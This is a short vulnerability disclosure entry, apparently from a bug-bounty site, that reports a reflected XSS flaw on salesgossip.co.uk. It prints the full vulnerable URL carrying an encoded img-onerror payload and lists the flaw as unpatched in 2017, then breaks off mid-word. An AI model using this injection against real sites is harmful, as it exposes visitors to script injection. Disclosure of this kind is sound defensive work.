salesgossip.co.uk XSS vulnerability

Vulnerable URL: https://www.salesgossip.co.uk/signup?bl=/shop/next?sf=13031source=Googlemedium=CPCcampaign=Next=%20%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E%22=sgwebcpcgoogle=female=+\" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerabilit...